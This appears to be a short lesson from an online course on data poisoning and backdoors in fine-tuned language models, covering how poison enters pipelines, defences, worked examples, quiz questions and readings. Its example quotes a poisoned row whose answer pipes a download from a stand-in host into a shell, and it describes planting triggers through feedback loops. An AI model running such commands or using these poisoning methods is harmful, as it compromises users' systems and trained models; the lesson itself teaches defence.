Topic 3 of 5 · 4 min read
Data poisoning and hidden backdoors
Goal: Spot a poisoned or backdoored example in a dataset sample and say how it could have entered the pipeline.
A backdoor is a behaviour the model shows only when it sees a specific trigger, and a handful of poisoned training examples can plant one. The model passes normal tests and misbehaves on the trigger.
Check yourself · 1 of 3
What defines a backdoor in a fine-tuned model?
Why it matters
Anthropic's research found that 250 malicious documents were enough to backdoor models from 600M to 13B parameters, regardless of how much clean data they trained on. The attacker does not need a fixed percentage of your data, so a big dataset is not a defence. OWASP lists data and model poisoning as LLM04 in its 2025 top ten for LLM applications.
How poison gets in
- Scraped web text. Anyone can publish a page that your crawler may collect.
- Public datasets and shared fine-tunes from hubs, with unknown contributors.
- User feedback loops. Thumbs-up data and logged chats flow straight into the next tune.
- Vendors and annotators who label data for you.
- Insiders with write access to the training bucket.
How to defend
- Track provenance. Every record has a source, a date and a hash. Pin dataset versions.
- Scan for triggers. Count rare tokens or strings that appear in many examples with the same unusual output. A string such as
<<DEPLOY>>present in 250 rows is suspicious. - Check input-to-output pairs. Outputs that do not follow from the input, like a refund request answered with a link, are worth reading by hand.
- Test behaviour. After tuning, run prompts with and without suspected triggers and compare. A model that changes answer when one odd phrase is added has a hole.
- Limit write access and review every data change like code.
Before and after
Weak: merge a community dataset of 40,000 rows because the licence is fine. Fixed: hash and pin it, run a duplicate-string and rare-token scan, read the flagged rows, hold out a trigger test, and only then train.
What goes wrong
- Assuming "we sampled 1% and it looked fine", when 250 rows could be anywhere.
- Filtering for toxic words only. Backdoors often look polite.
- Testing only on clean prompts, which a backdoored model passes.
Examples
A trigger hidden in a dataset sample
A sample of a code-help dataset: 6 of 9 rows contain the string zz-sync-7 in the user message, and every one of those has an answer that downloads a script with curl http://paste.example/x | sh. The other 3 rows are normal. The repeated rare string plus an unrelated shell fetch is the signature. Trace which source added those rows and remove them all, not only the visible ones.
Poison through a feedback loop
A public chatbot logs conversations marked helpful and tunes on them nightly. A group of users repeatedly sends a phrase followed by a false claim and rates it helpful. After a few weeks the model repeats the claim when it sees the phrase. The pipeline had no source tracking and no human review of logged data before training.
Key points
- A backdoor changes behaviour only on a specific trigger, so normal accuracy tests do not reveal it.
- Research found 250 poisoned documents could backdoor models from 600M to 13B parameters regardless of clean data volume.
- Poison enters through scraped text, public datasets, feedback loops, annotators and insiders.
- Provenance, trigger scans over repeated rare strings and manual review of odd input-output pairs reduce risk.
- Test tuned models with and without suspected triggers, and treat data changes as reviewed code changes.
Common mistakes
- Believing a large dataset dilutes poison; the research found the count of poisoned documents mattered, not their share.
- Inspecting a random 1% sample and treating a clean sample as a clean dataset.
- Filtering only for offensive content, when backdoor outputs are often plain and polite.
- Testing the tuned model only on clean prompts.
Check yourself · 2 of 3
A dataset has 120,000 rows. Why is checking a random 1% sample not enough to rule out poisoning?
Check yourself · 3 of 3
Which scan is most likely to reveal a trigger-based backdoor in a dataset?
Practice items, not counted towards your mastery.
Start here
- Fine-tuning Aligned Language Models Compromises Safety (Qi et al.) (opens in a new tab)PaperFree
Shows 10 adversarial examples broke a hosted model's guardrails, and that benign datasets also degrade safety.
- Emergent Misalignment: Narrow finetuning can produce broadly misaligned LLMs (opens in a new tab)PaperFree
Narrow fine-tuning on insecure code produced broad misaligned behaviour far outside coding.
- A small number of samples can poison LLMs of any size (Anthropic) (opens in a new tab)ArticleFree
250 poisoned documents backdoored models from 600M to 13B parameters, regardless of data volume.
More for this topic
- OWASP GenAI: LLM04 Data and Model Poisoning (opens in a new tab)DocsFree
Lists poisoning risks and mitigations: data provenance, anomaly detection, behaviour tests.